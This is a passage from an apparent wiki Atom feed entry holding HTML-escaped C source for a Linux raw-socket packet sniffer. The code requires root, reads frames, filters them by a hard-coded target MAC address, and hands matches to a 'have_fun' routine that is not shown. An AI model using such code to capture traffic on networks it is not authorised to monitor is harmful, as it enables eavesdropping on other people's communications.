       printf (&amp;quot;use ./sniff &amp;lt;dev&amp;gt;\n&amp;quot;);&lt;br /&gt;
       return -1;&lt;br /&gt;
     }&lt;br /&gt;
   &lt;br /&gt;
     // Are you root?&lt;br /&gt;
     uid = getuid ();&lt;br /&gt;
   if (uid != 0)&lt;br /&gt;
     {&lt;br /&gt;
       printf (&amp;quot;You must have UID 0 instead of %d.\n&amp;quot;, uid);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
   &lt;br /&gt;
     // Raw Socket oeffnen&lt;br /&gt;
     &lt;br /&gt;
 /*by biba */ &lt;br /&gt;
     if ((sock = socket (PF_PACKET, SOCK_RAW, 0)) &amp;lt; 0)&lt;br /&gt;
     return -1;&lt;br /&gt;
   bzero (&amp;amp;ifr, sizeof (ifr));&lt;br /&gt;
   strcpy (ifr.ifr_name, argv[1]);&lt;br /&gt;
   if (ioctl (sock, SIOCGIFHWADDR, &amp;amp;ifr))&lt;br /&gt;
     {&lt;br /&gt;
      	close (sock);&lt;br /&gt;
       return -1;&lt;br /&gt;
     }&lt;br /&gt;
   if (ioctl (sock, SIOCGIFINDEX, &amp;amp;ifr))&lt;br /&gt;
     {&lt;br /&gt;
       close (sock);&lt;br /&gt;
       return -1;&lt;br /&gt;
     }&lt;br /&gt;
   close (sock);&lt;br /&gt;
   if ((sock = socket (PF_PACKET, SOCK_RAW, htons (0x3))) == -1)&lt;br /&gt;
     {&lt;br /&gt;
       perror (&amp;quot;socket&amp;quot;);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
   bzero (&amp;amp;addr, sizeof (addr));&lt;br /&gt;
   addr.sll_family = AF_PACKET;&lt;br /&gt;
   addr.sll_ifindex = ifr.ifr_ifindex;&lt;br /&gt;
   rawsock = sock;&lt;br /&gt;
   &lt;br /&gt;
 #if 1&lt;br /&gt;
     if (bind (sock, (struct sockaddr *) &amp;amp;addr, sizeof (addr)) &amp;lt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       close (sock);&lt;br /&gt;
       printf (&amp;quot;failed to bind device\n&amp;quot;);&lt;br /&gt;
       return -23;&lt;br /&gt;
     }&lt;br /&gt;
   &lt;br /&gt;
 #endif /*  */&lt;br /&gt;
 /*************/ &lt;br /&gt;
     &lt;br /&gt;
 // if( (sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror(&amp;quot;socket&amp;quot;); exit(1); }&lt;br /&gt;
     while (1)&lt;br /&gt;
     &lt;br /&gt;
     {&lt;br /&gt;
       n = read (sock, packet, packetsize);&lt;br /&gt;
 	  /* wenn das netz eine bestimmt mac hat: packet+0x0a*/&lt;br /&gt;
 &lt;br /&gt;
       if (//(packet[0] == 0x08) &amp;amp;&amp;amp;&lt;br /&gt;
 				((TMAC0==(unsigned char)packet[10]) &amp;amp;&amp;amp;&lt;br /&gt;
 				  (TMAC1==(unsigned char)packet[11]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  (TMAC2==(unsigned char)packet[12]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  (TMAC3==(unsigned char)packet[13]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  (TMAC4==(unsigned char)packet[14]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  (TMAC5==(unsigned char)packet[15])) &lt;br /&gt;
 /*			&amp;amp;&amp;amp;&lt;br /&gt;
 					(((MAC0==(unsigned char)packet[4]) &amp;amp;&amp;amp;&lt;br /&gt;
 				  	(MAC1==(unsigned char)packet[5]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC2==(unsigned char)packet[6]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC3==(unsigned char)packet[7]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC4==(unsigned char)packet[8]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC5==(unsigned char)packet[9]))&lt;br /&gt;
 				||&lt;br /&gt;
 					((MAC0==(unsigned char)packet[16]) &amp;amp;&amp;amp;&lt;br /&gt;
 				  	(MAC1==(unsigned char)packet[17]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC2==(unsigned char)packet[18]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC3==(unsigned char)packet[19]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC4==(unsigned char)packet[20]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC5==(unsigned char)packet[21])))*/&lt;br /&gt;
 		)&lt;br /&gt;
 	  	print_header (packet, n);&lt;br /&gt;
 &lt;br /&gt;
 	  	have_fun(packet, n);&lt;br /&gt;
       &lt;br /&gt;
 #if 0&lt;br /&gt;
 	for (i = 0; i &amp;lt; n; i++)&lt;br /&gt;
 	printf (&amp;quot;%x &amp;quot;, (unsigned char) packet[i]);&lt;br /&gt;
       printf (&amp;quot;%s:%d\t --&amp;gt; \t%s:%d \tSeq: %d \tAck: %d\n&amp;quot;,&lt;br /&gt;
 	       inet_ntoa (*(struct in_addr *) &amp;amp;ip-&amp;gt;saddr),&lt;br /&gt;
 	       ntohs (tcp-&amp;gt;source),&lt;br /&gt;
 	       inet_ntoa (*(struct in_addr *) &amp;amp;ip-&amp;gt;daddr), ntohs (tcp-&amp;gt;dest),&lt;br /&gt;
 	       ntohl (tcp-&amp;gt;seq), ntohl (tcp-&amp;gt;ack_seq));&lt;br /&gt;
       &lt;br /&gt;
 #endif /*  */&lt;br /&gt;
     } return 0;&lt;br /&gt;
 }&lt;/div&gt;</summary>
		<author><name>Grauel</name></author>
	</entry>
</feed>